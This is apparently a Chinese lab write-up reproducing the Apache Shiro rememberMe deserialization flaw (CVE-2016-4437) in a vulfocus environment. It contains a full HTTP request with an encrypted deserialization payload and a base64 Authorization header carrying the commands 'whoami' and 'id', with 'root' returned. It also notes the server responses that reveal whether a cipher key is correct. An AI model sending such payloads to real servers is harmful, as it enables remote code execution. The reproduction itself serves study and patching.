Apache Shiro <= 1.2.4反序列化漏洞攻击 CVE-2016-4437 已亲自复现
- 漏洞名称
- 漏洞描述
- 影响版本
- 漏洞复现
- 环境搭建
- 漏洞利用
- 修复建议
- 总结
漏洞名称
漏洞描述
在 1.2.5 之前的 Apache Shiro 中,当未为“记住我”功能配置密钥时,远程攻击者可以通过未指定的请求参数执行任意代码或绕过预期的访问限制。
影响版本
Apache Shiro <= 1.2.4
漏洞复现
环境搭建
受害者IP:127.0.0.1
攻击者IP:8.140.54.167:40201
vulfocus下载链接
https://github.com/fofapro/vulfocus
git clone https://github.com/fofapro/vulfocus.git
启动vulfocus
docker-compose up -d
环境启动后,访问http://8.140.54.167:40201/即可看到一个登录页面,说明已成功启动。
漏洞利用
工具下载链接:
https://github.com/SummerSec/ShiroAttack2/releases/tag/4.7.0
使用工具输入目标对密钥进行爆破, 并检测利用链。
执行系统命令whoami
找了好几个工具,没找到生成payload的rememberMe的工具,启动wireshark。
使用burp试一下,payload粘进去,执行whoami,利用回显进行判断
GET / HTTP/1.1
Host: 8.140.54.167:34023
Cookie: JSESSIONID=5537D28072A8ECF54A54B3A245596A12; rememberMe=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
Authorization: Basic d2hvYW1p
Connection: close
相应内容如下,经过base64解码,所以只要替换经过加密的Authorization字段可以利用回显直接使用。
$$$cm9vdAo=$$$经过base64解码
root
下面是分别对两种情况的测试,
第一种:key值如果用错了返回啥?
第二种:key用对了,但是高版本,执行不成功会返回啥?
第一种:使用正确的key值进行尝试
使用错误的key值进行尝试
发现使用正确的key值时会返回正确的Set-Cookie: JSESSIONID=和Set-Cookie: rememberMe=deleteMe; 状态码为200。
使用错误的key值会返回Set-Cookie: rememberMe=deleteMe; ,不会返回Set-Cookie: JSESSIONID=,状态码为200。
第二种:key用对了,但是高版本,执行不成功会返回啥?
这里使用vulfcous启动shiro-721漏洞进行测试,同样存在remember反序列化,但影响版本为1.2.5, 1.2.6, 1.3.0, 1.3.1, 1.3.2, 1.4.0-RC2, 1.4.0, 1.4.1。高版本进行测试。使用burp抓个包。解一下原始的remember。
爆破一下shiro721的密钥以及利用链和回显方式
执行的payload,与上面漏洞不同的是,这里使用的是post方法
POST / HTTP/1.1
Cookie: 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Authorization: Basic aWQ=
Cookie: JSESSIONID=2a7f4e5f-1ff3-4a07-bbdd-605ea0715807
Host: 8.140.54.167:57748
Content-Length: 2
到这里思路错误,key用对了,但是高版本,执行不成功会返回啥?要解决这个问题,要找个没有漏洞的环境,继续gogogo。这里找个一个shiro-cve_2020_13933环境进行验证
经过使用正常的key值,但是高版本不存在漏洞的版本,只会返回Set-Cookie: rememberMe=deleteMe; ,不会返回Set-Cookie: JSESSIONID=。
修复建议
1、Aрасhе Shirо 多个安全漏洞的补丁— 升级最新版本1.12.0
https://github.com/apache/shiro/releases/tag/shiro-root-1.12.0